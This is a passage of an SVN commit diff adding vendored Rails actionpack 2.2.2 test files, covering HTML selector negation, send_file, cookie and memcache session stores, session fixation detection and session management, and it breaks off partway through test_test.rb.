+    assert_equal 1, @matches.size
+    parse(%Q{<div>something </div>})
+    select("div:content()")
+    assert_equal 0, @matches.size
+    select("div:content(something)")
+    assert_equal 1, @matches.size
+    select("div:content( 'something' )")
+    assert_equal 1, @matches.size
+    select("div:content( \"something\" )")
+    assert_equal 1, @matches.size
+    select("div:content(?)", "something")
+    assert_equal 1, @matches.size
+    select("div:content(?)", /something/)
+    assert_equal 1, @matches.size
+  end
+
+
+  #
+  # Test negation.
+  #
+
+
+  def test_element_negation
+    parse(%Q{<p></p><div></div>})
+    select("*")
+    assert_equal 2, @matches.size
+    select("*:not(p)")
+    assert_equal 1, @matches.size
+    assert_equal "div", @matches[0].name
+    select("*:not(div)")
+    assert_equal 1, @matches.size
+    assert_equal "p", @matches[0].name
+    select("*:not(span)")
+    assert_equal 2, @matches.size
+  end
+
+
+  def test_id_negation
+    parse(%Q{<p id="1"></p><p id="2"></p>})
+    select("p")
+    assert_equal 2, @matches.size
+    select(":not(#1)")
+    assert_equal 1, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+    select(":not(#2)")
+    assert_equal 1, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+  end
+
+
+  def test_class_name_negation
+    parse(%Q{<p class="foo"></p><p class="bar"></p>})
+    select("p")
+    assert_equal 2, @matches.size
+    select(":not(.foo)")
+    assert_equal 1, @matches.size
+    assert_equal "bar", @matches[0].attributes["class"]
+    select(":not(.bar)")
+    assert_equal 1, @matches.size
+    assert_equal "foo", @matches[0].attributes["class"]
+  end
+
+
+  def test_attribute_negation
+    parse(%Q{<p title="foo"></p><p title="bar"></p>})
+    select("p")
+    assert_equal 2, @matches.size
+    select(":not([title=foo])")
+    assert_equal 1, @matches.size
+    assert_equal "bar", @matches[0].attributes["title"]
+    select(":not([title=bar])")
+    assert_equal 1, @matches.size
+    assert_equal "foo", @matches[0].attributes["title"]
+  end
+
+  
+  def test_pseudo_class_negation
+    parse(%Q{<div><p id="1"></p><p id="2"></p></div>})
+    select("p")
+    assert_equal 2, @matches.size
+    select("p:not(:first-child)")
+    assert_equal 1, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+    select("p:not(:nth-child(2))")
+    assert_equal 1, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+  end
+  
+
+  def test_negation_details
+    parse(%Q{<p id="1"></p><p id="2"></p><p id="3"></p>})
+    assert_raises(ArgumentError) { select(":not(") }
+    assert_raises(ArgumentError) { select(":not(:not())") }
+    select("p:not(#1):not(#3)")
+    assert_equal 1, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+  end
+
+
+  def test_select_from_element
+    parse(%Q{<div><p id="1"></p><p id="2"></p></div>})
+    select("div")
+    @matches = @matches[0].select("p")
+    assert_equal 2, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    assert_equal "2", @matches[1].attributes["id"]
+  end
+
+
+protected
+
+  def parse(html)
+    @html = HTML::Document.new(html).root
+  end
+
+  def select(*selector)
+    @matches = HTML.selector(*selector).select(@html)
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/send_file_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/send_file_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/send_file_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,134 @@
+require 'abstract_unit'
+
+module TestFileUtils
+  def file_name() File.basename(__FILE__) end
+  def file_path() File.expand_path(__FILE__) end
+  def file_data() File.open(file_path, 'rb') { |f| f.read } end
+end
+
+class SendFileController < ActionController::Base
+  include TestFileUtils
+  layout "layouts/standard" # to make sure layouts don't interfere
+
+  attr_writer :options
+  def options() @options ||= {} end
+
+  def file() send_file(file_path, options) end
+  def data() send_data(file_data, options) end
+
+  def rescue_action(e) raise end
+end
+
+class SendFileTest < Test::Unit::TestCase
+  include TestFileUtils
+
+  Mime::Type.register "image/png", :png unless defined? Mime::PNG
+
+  def setup
+    @controller = SendFileController.new
+    @request = ActionController::TestRequest.new
+    @response = ActionController::TestResponse.new
+  end
+
+  def test_file_nostream
+    @controller.options = { :stream => false }
+    response = nil
+    assert_nothing_raised { response = process('file') }
+    assert_not_nil response
+    assert_kind_of String, response.body
+    assert_equal file_data, response.body
+  end
+
+  def test_file_stream
+    response = nil
+    assert_nothing_raised { response = process('file') }
+    assert_not_nil response
+    assert_kind_of Proc, response.body
+
+    require 'stringio'
+    output = StringIO.new
+    output.binmode
+    assert_nothing_raised { response.body.call(response, output) }
+    assert_equal file_data, output.string
+  end
+
+  def test_file_url_based_filename
+    @controller.options = { :url_based_filename => true }
+    response = nil
+    assert_nothing_raised { response = process('file') }
+    assert_not_nil response
+    assert_equal "attachment", response.headers["Content-Disposition"]
+  end
+
+  def test_x_sendfile_header
+    @controller.options = { :x_sendfile => true }
+
+    response = nil
+    assert_nothing_raised { response = process('file') }
+    assert_not_nil response
+
+    assert_equal @controller.file_path, response.headers['X-Sendfile']
+    assert response.body.blank?
+  end
+
+  def test_data
+    response = nil
+    assert_nothing_raised { response = process('data') }
+    assert_not_nil response
+
+    assert_kind_of String, response.body
+    assert_equal file_data, response.body
+  end
+
+  def test_headers_after_send_shouldnt_include_charset
+    response = process('data')
+    assert_equal "application/octet-stream", response.content_type
+
+    response = process('file')
+    assert_equal "application/octet-stream", response.content_type
+  end
+
+  # Test that send_file_headers! is setting the correct HTTP headers.
+  def test_send_file_headers!
+    options = {
+      :length => 1,
+      :type => Mime::PNG,
+      :disposition => 'disposition',
+      :filename => 'filename'
+    }
+
+    # Do it a few times: the resulting headers should be identical
+    # no matter how many times you send with the same options.
+    # Test resolving Ticket #458.
+    @controller.headers = {}
+    @controller.send(:send_file_headers!, options)
+    @controller.send(:send_file_headers!, options)
+    @controller.send(:send_file_headers!, options)
+
+    h = @controller.headers
+    assert_equal 1, h['Content-Length']
+    assert_equal 'image/png', h['Content-Type']
+    assert_equal 'disposition; filename="filename"', h['Content-Disposition']
+    assert_equal 'binary', h['Content-Transfer-Encoding']
+
+    # test overriding Cache-Control: no-cache header to fix IE open/save dialog
+    @controller.headers = { 'Cache-Control' => 'no-cache' }
+    @controller.send(:send_file_headers!, options)
+    h = @controller.headers
+    assert_equal 'private', h['Cache-Control']
+  end
+
+  %w(file data).each do |method|
+    define_method "test_send_#{method}_status" do
+      @controller.options = { :stream => false, :status => 500 }
+      assert_nothing_raised { assert_not_nil process(method) }
+      assert_equal '500 Internal Server Error', @response.headers['Status']
+    end
+
+    define_method "test_default_send_#{method}_status" do
+      @controller.options = { :stream => false }
+      assert_nothing_raised { assert_not_nil process(method) }
+      assert_equal ActionController::Base::DEFAULT_RENDER_STATUS_CODE, @response.headers['Status']
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/session/cookie_store_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/session/cookie_store_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/session/cookie_store_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,310 @@
+require 'abstract_unit'
+require 'action_controller/cgi_process'
+require 'action_controller/cgi_ext'
+
+require 'stringio'
+
+
+class CGI::Session::CookieStore
+  def ensure_secret_secure_with_test_hax(secret)
+    if secret == CookieStoreTest.default_session_options['secret']
+      return true
+    else
+      ensure_secret_secure_without_test_hax(secret)
+    end
+  end
+  alias_method_chain :ensure_secret_secure, :test_hax
+end
+
+
+# Expose for tests.
+class CGI
+  attr_reader :output_cookies, :output_hidden
+
+  class Session
+    attr_reader :dbman
+
+    class CookieStore
+      attr_reader :data, :original, :cookie_options
+    end
+  end
+end
+
+class CookieStoreTest < Test::Unit::TestCase
+  def self.default_session_options
+    { 'database_manager' => CGI::Session::CookieStore,
+      'session_key' => '_myapp_session',
+      'secret' => 'Keep it secret; keep it safe.',
+      'no_cookies' => true,
+      'no_hidden' => true,
+      'session_http_only' => true
+       }
+  end
+
+  def self.cookies
+    { :empty => ['BAgw--0686dcaccc01040f4bd4f35fe160afe9bc04c330', {}],
+      :a_one => ['BAh7BiIGYWkG--5689059497d7f122a7119f171aef81dcfd807fec', { 'a' => 1 }],
+      :typical => ['BAh7ByIMdXNlcl9pZGkBeyIKZmxhc2h7BiILbm90aWNlIgxIZXkgbm93--9d20154623b9eeea05c62ab819be0e2483238759', { 'user_id' => 123, 'flash' => { 'notice' => 'Hey now' }}],
+      :flashed => ['BAh7ByIMdXNlcl9pZGkBeyIKZmxhc2h7AA==--bf9785a666d3c4ac09f7fe3353496b437546cfbf', { 'user_id' => 123, 'flash' => {} }],
+      :double_escaped => [CGI.escape('BAh7ByIMdXNlcl9pZGkBeyIKZmxhc2h7AA%3D%3D--bf9785a666d3c4ac09f7fe3353496b437546cfbf'), { 'user_id' => 123, 'flash' => {} }] }
+
+  end
+
+  def setup
+    ENV.delete('HTTP_COOKIE')
+  end
+
+  def test_raises_argument_error_if_missing_session_key
+    [nil, ''].each do |blank|
+      assert_raise(ArgumentError, blank.inspect) { new_session 'session_key' => blank }
+    end
+  end
+
+  def test_raises_argument_error_if_missing_secret
+    [nil, ''].each do |blank|
+      assert_raise(ArgumentError, blank.inspect) { new_session 'secret' => blank }
+    end
+  end
+
+  def test_raises_argument_error_if_secret_is_probably_insecure
+    ["password", "secret", "12345678901234567890123456789"].each do |blank|
+      assert_raise(ArgumentError, blank.inspect) { new_session 'secret' => blank }
+    end
+  end
+
+  def test_reconfigures_session_to_omit_id_cookie_and_hidden_field
+    new_session do |session|
+      assert_equal true, @options['no_hidden']
+      assert_equal true, @options['no_cookies']
+    end
+  end
+
+  def test_restore_unmarshals_missing_cookie_as_empty_hash
+    new_session do |session|
+      assert_nil session.dbman.data
+      assert_nil session['test']
+      assert_equal Hash.new, session.dbman.data
+    end
+  end
+
+  def test_restore_unmarshals_good_cookies
+    cookies(:empty, :a_one, :typical).each do |value, expected|
+      set_cookie! value
+      new_session do |session|
+        assert_nil session['lazy loads the data hash']
+        assert_equal expected, session.dbman.data
+      end
+    end
+  end
+
+  def test_restore_deletes_tampered_cookies
+    set_cookie! 'a--b'
+    new_session do |session|
+      assert_raise(CGI::Session::CookieStore::TamperedWithCookie) { session['fail'] }
+      assert_cookie_deleted session
+    end
+  end
+
+  def test_restores_double_encoded_cookies
+    set_cookie! cookie_value(:double_escaped)
+    new_session do |session|
+      session.dbman.restore
+      assert_equal session["user_id"], 123
+      assert_equal session["flash"], {}
+    end
+  end
+
+  def test_close_doesnt_write_cookie_if_data_is_blank
+    new_session do |session|
+      assert_no_cookies session
+      session.close
+      assert_no_cookies session
+    end
+  end
+
+  def test_close_doesnt_write_cookie_if_data_is_unchanged
+    set_cookie! cookie_value(:typical)
+    new_session do |session|
+      assert_no_cookies session
+      session['user_id'] = session['user_id']
+      session.close
+      assert_no_cookies session
+    end
+  end
+
+  def test_close_raises_when_data_overflows
+    set_cookie! cookie_value(:empty)
+    new_session do |session|
+      session['overflow'] = 'bye!' * 1024
+      assert_raise(CGI::Session::CookieStore::CookieOverflow) { session.close }
+      assert_no_cookies session
+    end
+  end
+
+  def test_close_marshals_and_writes_cookie
+    set_cookie! cookie_value(:typical)
+    new_session do |session|
+      assert_no_cookies session
+      session['flash'] = {}
+      assert_no_cookies session
+      session.close
+      assert_equal 1, session.cgi.output_cookies.size
+      cookie = session.cgi.output_cookies.first
+      assert_cookie cookie, cookie_value(:flashed)
+      assert_http_only_cookie cookie
+      assert_secure_cookie cookie, false
+    end
+  end
+
+  def test_writes_non_secure_cookie_by_default
+    set_cookie! cookie_value(:typical)
+    new_session do |session|
+      session['flash'] = {}
+      session.close
+      cookie = session.cgi.output_cookies.first
+      assert_secure_cookie cookie,false
+    end
+  end
+
+  def test_writes_secure_cookie
+    set_cookie! cookie_value(:typical)
+    new_session('session_secure'=>true) do |session|
+      session['flash'] = {}
+      session.close
+      cookie = session.cgi.output_cookies.first
+      assert_secure_cookie cookie
+    end
+  end
+
+  def test_http_only_cookie_by_default
+    set_cookie! cookie_value(:typical)
+    new_session do |session|
+      session['flash'] = {}
+      session.close
+      cookie = session.cgi.output_cookies.first
+      assert_http_only_cookie cookie
+    end
+  end
+
+  def test_overides_http_only_cookie
+    set_cookie! cookie_value(:typical)
+    new_session('session_http_only'=>false) do |session|
+      session['flash'] = {}
+      session.close
+      cookie = session.cgi.output_cookies.first
+      assert_http_only_cookie cookie, false
+    end
+  end
+
+  def test_delete_writes_expired_empty_cookie_and_sets_data_to_nil
+    set_cookie! cookie_value(:typical)
+    new_session do |session|
+      assert_no_cookies session
+      session.delete
+      assert_cookie_deleted session
+
+      # @data is set to nil so #close doesn't send another cookie.
+      session.close
+      assert_cookie_deleted session
+    end
+  end
+
+  def test_new_session_doesnt_reuse_deleted_cookie_data
+    set_cookie! cookie_value(:typical)
+
+    new_session do |session|
+      assert_not_nil session['user_id']
+      session.delete
+
+      # Start a new session using the same CGI instance.
+      post_delete_session = CGI::Session.new(session.cgi, self.class.default_session_options)
+      assert_nil post_delete_session['user_id']
+    end
+  end
+
+  private
+    def assert_no_cookies(session)
+      assert_nil session.cgi.output_cookies, session.cgi.output_cookies.inspect
+    end
+
+    def assert_cookie_deleted(session, message = 'Expected session deletion cookie to be set')
+      assert_equal 1, session.cgi.output_cookies.size
+      cookie = session.cgi.output_cookies.first
+      assert_cookie cookie, nil, 1.year.ago.to_date, "#{message}: #{cookie.name} => #{cookie.value}"
+    end
+
+    def assert_cookie(cookie, value = nil, expires = nil, message = nil)
+      assert_equal '_myapp_session', cookie.name, message
+      assert_equal [value].compact, cookie.value, message
+      assert_equal expires, cookie.expires ? cookie.expires.to_date : cookie.expires, message
+    end
+
+    def assert_secure_cookie(cookie,value=true)
+      assert cookie.secure==value
+    end
+
+    def assert_http_only_cookie(cookie,value=true)
+      assert cookie.http_only==value
+    end
+
+    def cookies(*which)
+      self.class.cookies.values_at(*which)
+    end
+
+    def cookie_value(which)
+      self.class.cookies[which].first
+    end
+
+    def set_cookie!(value)
+      ENV['HTTP_COOKIE'] = "_myapp_session=#{value}"
+    end
+
+    def new_session(options = {})
+      with_cgi do |cgi|
+        assert_nil cgi.output_hidden, "Output hidden params should be empty: #{cgi.output_hidden.inspect}"
+        assert_nil cgi.output_cookies, "Output cookies should be empty: #{cgi.output_cookies.inspect}"
+
+        @options = self.class.default_session_options.merge(options)
+        session = CGI::Session.new(cgi, @options)
+        ObjectSpace.undefine_finalizer(session)
+
+        assert_nil cgi.output_hidden, "Output hidden params should be empty: #{cgi.output_hidden.inspect}"
+        assert_nil cgi.output_cookies, "Output cookies should be empty: #{cgi.output_cookies.inspect}"
+
+        yield session if block_given?
+        session
+      end
+    end
+
+    def with_cgi
+      ENV['REQUEST_METHOD'] = 'GET'
+      ENV['HTTP_HOST'] = 'example.com'
+      ENV['QUERY_STRING'] = ''
+
+      cgi = CGI.new('query', StringIO.new(''))
+      yield cgi if block_given?
+      cgi
+    end
+end
+
+
+class CookieStoreWithBlockAsSecretTest < CookieStoreTest
+  def self.default_session_options
+    CookieStoreTest.default_session_options.merge 'secret' => Proc.new { 'Keep it secret; keep it safe.' }
+  end
+end
+
+
+class CookieStoreWithMD5DigestTest < CookieStoreTest
+  def self.default_session_options
+    CookieStoreTest.default_session_options.merge 'digest' => 'MD5'
+  end
+
+  def self.cookies
+    { :empty => ['BAgw--0415cc0be9579b14afc22ee2d341aa21', {}],
+      :a_one => ['BAh7BiIGYWkG--5a0ed962089cc6600ff44168a5d59bc8', { 'a' => 1 }],
+      :typical => ['BAh7ByIMdXNlcl9pZGkBeyIKZmxhc2h7BiILbm90aWNlIgxIZXkgbm93--f426763f6ef435b3738b493600db8d64', { 'user_id' => 123, 'flash' => { 'notice' => 'Hey now' }}],
+      :flashed => ['BAh7ByIMdXNlcl9pZGkBeyIKZmxhc2h7AA==--0af9156650dab044a53a91a4ddec2c51', { 'user_id' => 123, 'flash' => {} }],
+      :double_escaped => [CGI.escape('BAh7ByIMdXNlcl9pZGkBeyIKZmxhc2h7AA%3D%3D--0af9156650dab044a53a91a4ddec2c51'), { 'user_id' => 123, 'flash' => {} }] }
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/session/mem_cache_store_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/session/mem_cache_store_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/session/mem_cache_store_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,181 @@
+require 'abstract_unit'
+require 'action_controller/cgi_process'
+require 'action_controller/cgi_ext'
+
+
+class CGI::Session
+  def cache
+    dbman.instance_variable_get(:@cache)
+  end
+end
+
+
+uses_mocha 'MemCacheStore tests' do
+if defined? MemCache::MemCacheError
+
+class MemCacheStoreTest < Test::Unit::TestCase
+  SESSION_KEY_RE = /^session:[0-9a-z]+/
+  CONN_TEST_KEY = 'connection_test'
+  MULTI_TEST_KEY = '0123456789'
+  TEST_DATA = 'Hello test'
+
+  def self.get_mem_cache_if_available
+    begin
+      require 'memcache'
+      cache = MemCache.new('127.0.0.1')
+      # Test availability of the connection
+      cache.set(CONN_TEST_KEY, 1)
+      unless cache.get(CONN_TEST_KEY) == 1
+        puts 'Warning: memcache server available but corrupted.'
+        return nil
+      end
+    rescue LoadError, MemCache::MemCacheError
+      return nil
+    end
+    return cache
+  end
+
+  CACHE = get_mem_cache_if_available
+
+
+  def test_initialization
+    assert_raise(ArgumentError) { new_session('session_id' => '!invalid_id') }
+    new_session do |s|
+      assert_equal Hash.new, s.cache.get('session:' + s.session_id)
+    end
+  end
+
+
+  def test_storage
+    d = rand(0xffff)
+    new_session do |s|
+      session_key = 'session:' + s.session_id
+      unless CACHE
+        s.cache.expects(:get).with(session_key) \
+                             .returns(:test => d)
+        s.cache.expects(:set).with(session_key,
+                                   has_entry(:test, d),
+                                   0)
+      end
+      s[:test] = d
+      s.close
+      assert_equal d, s.cache.get(session_key)[:test]
+      assert_equal d, s[:test]
+    end
+  end         
+  
+  def test_deletion
+    new_session do |s|
+      session_key = 'session:' + s.session_id
+      unless CACHE
+        s.cache.expects(:delete)
+        s.cache.expects(:get).with(session_key) \
+                             .returns(nil)
+      end
+      s[:test] = rand(0xffff)
+      s.delete
+      assert_nil s.cache.get(session_key)
+    end
+  end
+
+
+  def test_other_session_retrieval
+    new_session do |sa|
+      unless CACHE
+        sa.cache.expects(:set).with('session:' + sa.session_id,
+                                    has_entry(:test, TEST_DATA),
+                                    0)
+      end
+      sa[:test] = TEST_DATA
+      sa.close
+      new_session('session_id' => sa.session_id) do |sb|
+        unless CACHE
+          sb.cache.expects(:[]).with('session:' + sb.session_id) \
+                               .returns(:test => TEST_DATA)
+        end
+        assert_equal(TEST_DATA, sb[:test])
+      end
+    end
+  end
+
+
+  def test_multiple_sessions
+    s_slots = Array.new(10)
+    operation = :write
+    last_data = nil
+    reads = writes = 0
+    50.times do
+      current = rand(10)
+      s_slots[current] ||= new_session('session_id' => MULTI_TEST_KEY,
+                                       'new_session' => true)
+      s = s_slots[current]
+      case operation
+      when :write
+        last_data = rand(0xffff)
+        unless CACHE
+          s.cache.expects(:set).with('session:' + MULTI_TEST_KEY,
+                                     { :test => last_data },
+                                     0)
+        end
+        s[:test] = last_data
+        s.close
+        writes += 1
+      when :read
+        # Make CGI::Session#[] think there was no data retrieval yet.
+        # Normally, the session caches the data during its lifetime.
+        s.instance_variable_set(:@data, nil)
+        unless CACHE
+          s.cache.expects(:[]).with('session:' + MULTI_TEST_KEY) \
+                              .returns(:test => last_data)
+        end
+        d = s[:test]
+        assert_equal(last_data, d, "OK reads: #{reads}, OK writes: #{writes}")
+        reads += 1
+      end
+      operation = rand(5) == 0 ? :write : :read
+    end
+  end
+
+
+
+  private
+  def obtain_session_options
+    options = { 'database_manager' => CGI::Session::MemCacheStore,
+                'session_key' => '_test_app_session'
+              }
+    # if don't have running memcache server we use mock instead
+    unless CACHE
+      options['cache'] = c = mock
+      c.stubs(:[]).with(regexp_matches(SESSION_KEY_RE))
+      c.stubs(:get).with(regexp_matches(SESSION_KEY_RE)) \
+                   .returns(Hash.new)
+      c.stubs(:add).with(regexp_matches(SESSION_KEY_RE),
+                         instance_of(Hash),
+                         0)
+    end
+    options
+  end
+
+
+  def new_session(options = {})
+    with_cgi do |cgi|
+      @options = obtain_session_options.merge(options)
+      session = CGI::Session.new(cgi, @options)
+      yield session if block_given?
+      return session
+    end
+  end
+
+  def with_cgi
+    ENV['REQUEST_METHOD'] = 'GET'
+    ENV['HTTP_HOST'] = 'example.com'
+    ENV['QUERY_STRING'] = ''
+
+    cgi = CGI.new('query', StringIO.new(''))
+    yield cgi if block_given?
+    cgi
+  end
+end
+
+end # defined? MemCache
+end # uses_mocha

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/session_fixation_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/session_fixation_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/session_fixation_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,89 @@
+require 'abstract_unit'
+
+
+class SessionFixationTest < Test::Unit::TestCase
+  class MockCGI < CGI #:nodoc:
+    attr_accessor :stdoutput, :env_table
+
+    def initialize(env, data = '')
+      self.env_table = env
+      self.stdoutput = StringIO.new
+      super(nil, StringIO.new(data))
+    end
+  end
+
+  class TestController < ActionController::Base
+    session :session_key => '_myapp_session_id', :secret => CGI::Session.generate_unique_id, :except => :default_session_key
+    session :cookie_only => false, :only => :allow_session_fixation
+
+    def default_session_key
+      render :text => "default_session_key"
+    end
+
+    def custom_session_key
+      render :text => "custom_session_key: #{params[:id]}"
+    end
+
+    def allow_session_fixation
+      render :text => "allow_session_fixation"
+    end
+
+    def rescue_action(e) raise end
+  end
+
+  def setup
+    @controller = TestController.new
+  end
+
+  def test_should_be_able_to_make_a_successful_request
+    cgi = mock_cgi_for_request_to(:custom_session_key, :id => 1)
+
+    assert_nothing_raised do
+      @controller.send(:process, ActionController::CgiRequest.new(cgi, {}), ActionController::CgiResponse.new(cgi))
+    end
+    assert_equal 'custom_session_key: 1', @controller.response.body
+    assert_not_nil @controller.session
+  end
+
+  def test_should_catch_session_fixation_attempt
+    cgi = mock_cgi_for_request_to(:custom_session_key, :_myapp_session_id => 42)
+
+    assert_raises ActionController::CgiRequest::SessionFixationAttempt do
+      @controller.send(:process, ActionController::CgiRequest.new(cgi, {}), ActionController::CgiResponse.new(cgi))
+    end
+    assert_nil @controller.session
+  end
+
+  def test_should_not_catch_session_fixation_attempt_when_cookie_only_setting_is_disabled
+    cgi = mock_cgi_for_request_to(:allow_session_fixation, :_myapp_session_id => 42)
+
+    assert_nothing_raised do
+      @controller.send(:process, ActionController::CgiRequest.new(cgi, {}), ActionController::CgiResponse.new(cgi))
+    end
+    assert ! @controller.response.body.blank?
+    assert_not_nil @controller.session
+  end
+
+  def test_should_catch_session_fixation_attempt_with_default_session_key
+    ActionController::Base.session_store = :p_store # using the default session_key is not possible with cookie store
+    cgi = mock_cgi_for_request_to(:default_session_key, :_session_id => 42)
+
+    assert_raises ActionController::CgiRequest::SessionFixationAttempt do
+      @controller.send(:process, ActionController::CgiRequest.new(cgi, {}), ActionController::CgiResponse.new(cgi))
+    end
+    assert @controller.response.body.blank?
+    assert_nil @controller.session
+  end
+
+private
+
+  def mock_cgi_for_request_to(action, params = {})
+    MockCGI.new({
+      "REQUEST_METHOD" => "GET",
+      "QUERY_STRING"   => "action=#{action}&#{params.to_query}",
+      "REQUEST_URI"    => "/",
+      "SERVER_PORT"    => "80",
+      "HTTP_HOST"      => "testdomain.com" }, '')
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/session_management_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/session_management_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/session_management_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,178 @@
+require 'abstract_unit'
+
+class SessionManagementTest < Test::Unit::TestCase
+  class SessionOffController < ActionController::Base
+    session :off
+
+    def show
+      render :text => "done"
+    end
+
+    def tell
+      render :text => "done"
+    end
+  end
+
+  class SessionOffOnController < ActionController::Base
+    session :off
+    session :on, :only => :tell
+
+    def show
+      render :text => "done"
+    end
+
+    def tell
+      render :text => "done"
+    end
+  end
+
+  class TestController < ActionController::Base
+    session :off, :only => :show
+    session :session_secure => true, :except => :show
+    session :off, :only => :conditional,
+            :if => Proc.new { |r| r.parameters[:ws] }
+
+    def show
+      render :text => "done"
+    end
+
+    def tell
+      render :text => "done"
+    end
+
+    def conditional
+      render :text => ">>>#{params[:ws]}<<<"
+    end
+  end
+
+  class SpecializedController < SessionOffController
+    session :disabled => false, :only => :something
+
+    def something
+      render :text => "done"
+    end
+
+    def another
+      render :text => "done"
+    end
+  end
+
+  class AssociationCachingTestController < ActionController::Base
+    class ObjectWithAssociationCache
+      def initialize
+        @cached_associations = false
+      end
+
+      def fetch_associations
+        @cached_associations = true
+      end
+
+      def clear_association_cache
+        @cached_associations = false
+      end
+
+      def has_cached_associations?
+        @cached_associations
+      end
+    end
+
+    def show
+      session[:object] = ObjectWithAssociationCache.new
+      session[:object].fetch_associations
+      if session[:object].has_cached_associations?
+        render :text => "has cached associations"
+      else
+        render :text => "does not have cached associations"
+      end
+    end
+
+    def tell
+      if session[:object]
+        if session[:object].has_cached_associations?
+          render :text => "has cached associations"
+        else
+          render :text => "does not have cached associations"
+        end
+      else
+        render :text => "there is no object"
+      end
+    end
+  end
+
+
+  def setup
+    @request, @response = ActionController::TestRequest.new,
+      ActionController::TestResponse.new
+  end
+
+  def test_session_off_globally
+    @controller = SessionOffController.new
+    get :show
+    assert_equal false, @request.session_options
+    get :tell
+    assert_equal false, @request.session_options
+  end
+
+  def test_session_off_then_on_globally
+    @controller = SessionOffOnController.new
+    get :show
+    assert_equal false, @request.session_options
+    get :tell
+    assert_instance_of Hash, @request.session_options
+    assert_equal false, @request.session_options[:disabled]
+  end
+  
+  def test_session_off_conditionally
+    @controller = TestController.new
+    get :show
+    assert_equal false, @request.session_options
+    get :tell
+    assert_instance_of Hash, @request.session_options
+    assert @request.session_options[:session_secure]
+  end
+
+  def test_controller_specialization_overrides_settings
+    @controller = SpecializedController.new
+    get :something
+    assert_instance_of Hash, @request.session_options
+    get :another
+    assert_equal false, @request.session_options
+  end
+
+  def test_session_off_with_if
+    @controller = TestController.new
+    get :conditional
+    assert_instance_of Hash, @request.session_options
+    get :conditional, :ws => "ws"
+    assert_equal false, @request.session_options
+  end
+  
+  def test_session_store_setting
+    ActionController::Base.session_store = :drb_store
+    assert_equal CGI::Session::DRbStore, ActionController::Base.session_store
+
+    if Object.const_defined?(:ActiveRecord)
+      ActionController::Base.session_store = :active_record_store
+      assert_equal CGI::Session::ActiveRecordStore, ActionController::Base.session_store
+    end
+  end
+  
+  def test_process_cleanup_with_session_management_support
+    @controller = AssociationCachingTestController.new
+    get :show
+    assert_equal "has cached associations", @response.body
+    get :tell
+    assert_equal "does not have cached associations", @response.body
+  end
+  
+  def test_session_is_enabled
+    @controller = TestController.new
+    get :show
+    assert_nothing_raised do
+      assert_equal false, @controller.session_enabled?
+    end
+    
+    get :tell
+    assert @controller.session_enabled?
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/test_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/test_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/test_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,673 @@
+require 'abstract_unit'
+require 'controller/fake_controllers'
+
+class TestTest < Test::Unit::TestCase
+  class TestController < ActionController::Base
+    def no_op
+      render :text => 'dummy'
+    end
+
+    def set_flash
+      flash["test"] = ">#{flash["test"]}<"
+      render :text => 'ignore me'
+    end
+
+    def set_flash_now
+      flash.now["test_now"] = ">#{flash["test_now"]}<"
+      render :text => 'ignore me'
+    end
+
+    def set_session
+      session['string'] = 'A wonder'
+      session[:symbol] = 'it works'
+      render :text => 'Success'
+    end
+
+    def render_raw_post
+      raise Test::Unit::AssertionFailedError, "#raw_post is blank" if request.raw_post.blank?
+      render :text => request.raw_post
+    end
+
+    def render_body
+      render :text => request.body.read
+    end
+
+    def test_params
+      render :text => params.inspect
+    end
+
+    def test_uri
+      render :text => request.request_uri
+    end
+
+    def test_query_string
+      render :text => request.query_string
+    end
+
+    def test_html_output
+      render :text => <<HTML
+<html>
+  <body>
+    <a href="/"><img src="/images/button.png" /></a>
+    <div id="foo">
+      <ul>
+        <li class="item">hello</li>
+        <li class="item">goodbye</li>
+      </ul>
+    </div>
+    <div id="bar">
+      <form action="/somewhere">
+        Name: <input type="text" name="person[name]" id="person_name" />
+      </form>
+    </div>
+  </body>
+</html>
+HTML
+    end
+
+    def test_xml_output
